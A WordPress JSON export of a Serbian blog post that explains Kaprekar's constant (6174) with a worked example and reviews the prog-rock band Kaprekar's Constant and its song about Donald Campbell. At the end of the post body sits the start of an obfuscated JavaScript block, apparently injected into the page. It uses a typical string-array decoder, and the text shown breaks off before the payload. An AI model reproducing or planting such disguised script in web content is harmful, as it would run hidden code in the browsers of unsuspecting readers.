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{"id":64480,"date":"2019-09-30T15:59:00","date_gmt":"2019-09-30T13:59:00","guid":{"rendered":"http:\/\/www.sustinapasijansa.info\/?p=64480"},"modified":"2021-01-16T11:47:01","modified_gmt":"2021-01-16T10:47:01","slug":"plava-ptica-2","status":"publish","type":"post","link":"https:\/\/www.sustinapasijansa.info\/2019\/09\/plava-ptica-2\/","title":{"rendered":"Plava ptica"},"content":{"rendered":"

Pre dvadesetak godina radio sam na projektu opremanja Katedre za matematiku lokalnog fakulteta. Dok su “deca” razvla\u010dila kablove i montirale ra\u010dunare dru\u0161tvo mi je pravio mladi profesor koji je bio pomalo neobi\u010dna pojava. Opsednut brojevima, govorio mi je da su mnogi od njih “lepi”, a \u0161to je pri\u010da du\u017ee trajala, sve manje sam mogao da ga razumem.<\/p>\n

<\/iframe><\/p>\nIako nikada nisam bio u zavadi sa matematikom, do takvih apstrakcija nisam mogao da se uzdignem. Da bi mi do\u010darao svu lepotu matematike izveo mi je jednostavan primer koji se u nauci zove <a href=\"https:\/\/en.wikipedia.org\/wiki\/6174_(number)\" target=\"_blank\" rel=\"noopener noreferrer\">Kaprekarova konstanta (broj)<\/a>. Poku\u0161a\u0107u lai\u010dki da objasnim o \u010demu se radi…<\/p>\n<\/p>\nIzaberemo bilo koji \u010detvorocifreni broj koji ima barem dve razli\u010dite cifre. Preuredimo redsoled cifri izabranog broja tako da od njih dobijemo prvo najve\u0107i (cifre se nalaze u opadaju\u0107em nizu), a potom i najmanji mogu\u0107i broj (cifre su u rastu\u0107em nizu). Zatim oduzmemo manji broj od ve\u0107eg, a sa dobijenom razlikom nastavimo isti postupak. Nakon najvi\u0161e sedam ponavljanja dobi\u0107emo 6174 i on se ne\u0107e nadalje menjati. U praksi to izgleda ovako ako koristimo broj 2894:<\/p>\n9842 \u2013 2489 = 7353 \n7533 \u2013 3357 = 4176 \n7641 \u2013 1467 = 6174<\/p>\nOvaj postupak otkrio je 1949. godine indijski matemati\u010dar <a href=\"https:\/\/en.wikipedia.org\/wiki\/D._R._Kaprekar\" target=\"_blank\" rel=\"noopener noreferrer\">Dattaraya Ramchandra Kaprekar<\/a>, a ako vas zanimaju igre sa brojevima, pro\u010ditajte njegovu biografiju, ima on jo\u0161 toga zanimljivog da ponudi.<\/p>\nNa prepri\u010danu \u017eivotnu epizodu sam bio potpuno zaboravio sve do trenutka kada sam na jednom od portala koje pose\u0107ujem ugledao recenziju albuma grupe <a href=\"http:\/\/www.kaprekarsconstant.com\/\" target=\"_blank\" rel=\"noopener noreferrer\">Kaprekar’s Constant<\/a>. To \u0161to je nekoliko ljudi pozitivno prokomentarisalo njihovu muziku samo me je ubrzalo da je potra\u017eim. I na\u0161ao sam se pomalo zate\u010den.<\/p>\nOni sviraju zanimljivu verziju pastoralnog progresivnog rocka koji je tipi\u010dno britanski. Na tragu ranih radova grupe Genesis ili malo mla\u0111ih Big Big Train i sve to zvu\u010di veoma lepo i relaksiraju\u0107e. Sastav grupe mi ni\u0161ta ne govori, a poznato mi je samo jedno ime \u2013 <a href=\"https:\/\/en.wikipedia.org\/wiki\/David_Jackson_(rock_musician)\" target=\"_blank\" rel=\"noopener noreferrer\">David Jackson<\/a>. Nije valjda ONAJ David Jackson \u010dije divlje sviranje u <a href=\"https:\/\/en.wikipedia.org\/wiki\/Van_der_Graaf_Generator\" target=\"_blank\" rel=\"noopener noreferrer\">Van der Graaf Generatoru<\/a> me je uvek raspame\u0107ivalo…<\/p>\nIspostavilo se da jeste. <img decoding=\"async\" class=\"wlEmoticon wlEmoticon-surprisedsmile\" style=\"border-style: none;\" src=\"https:\/\/www.sustinapasijansa.info\/media\/2019\/09\/wlEmoticon-surprisedsmile.png\" alt=\"Surprised smile\"><\/p>\n<img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" style=\"background-image: none; float: right; padding-top: 0px; padding-left: 0px; margin: 0px 0px 0px 10px; display: inline; padding-right: 0px; border: 0px;\" title=\"Kaprekar's Constant - Fate Outsmarts Desire (2017). Zanimljiva paralela izme\u0111u dela onog \u010dije ime nosi ova grupa i rezultuju\u0107e muzike. No, gde konvergiraju muzi\u010dke ideje Davida Jacksona, mora\u0107ete sami da istra\u017eite.\" src=\"https:\/\/www.sustinapasijansa.info\/media\/2019\/09\/fateoutsmartsdesire_album.jpg\" alt=\"Fate Outsmarts Desire (2017)\" width=\"300\" height=\"300\" align=\"right\" border=\"0\">Na oficijelnom sajtu su i fotografije \u010dlanova grupe, to su sve momci u poodmaklim godinama (sem mladog peva\u010da i izvrsne peva\u010dice koja je Jacksonova \u0107erka), pa nije ni \u010dudno \u0161to je posao profesionalno obavljen. Iz svake pesme na dva do sada objavljena albuma (Fate Outsmarts Desire<\/em> (2017) i skora\u0161nji Depth of Field<\/em> (2019), na kojem gostuje i Ian Anderson) \u010duje se da je u njih ulo\u017eeno mnogo truda. Zanimljivi su i tekstovi sa tipi\u010dno britanskim temama i motivima iz bliske istorije, ako pod time podrazumevamo poslednjih sto godina.<\/p>\n“Blue Bird<\/em>” je epska pesma o <a href=\"https:\/\/en.wikipedia.org\/wiki\/Donald_Campbell\" target=\"_blank\" rel=\"noopener noreferrer\">Donaldu Campellu<\/a>, \u010doveku koji je bio opsednut brzinskim rekordima Daleke 1964. godine je postavio svoj rekord na zemlji od 648,73 km\/h, ali time nije bio zadovoljan misle\u0107i da mo\u017ee i br\u017ee. Uz to, zainatio se i da obori rekord na vodi koji ga je ko\u0161tao i \u017eivota \u2013 gliser Bluebird K7 na mlazni pogon se raspao pri udarcu o vodu jure\u0107i 528 km\/h (<a href=\"https:\/\/www.youtube.com\/watch?v=4xemKc2In5Y\" target=\"_blank\" rel=\"noopener noreferrer\">video<\/a>).<\/p>\nNa Cevki ima dosta klipova grupe Kaprekar’s Constant, pa ako volite neobi\u010dne teme i relaksiraju\u0107u melodi\u010dnu muziku, znate \u0161ta vam je \u010diniti. <img decoding=\"async\" class=\"wlEmoticon wlEmoticon-hotsmile\" style=\"border-style: none;\" src=\"https:\/\/www.sustinapasijansa.info\/media\/2019\/09\/wlEmoticon-hotsmile-3.png\" alt=\"Hot smile\"> \n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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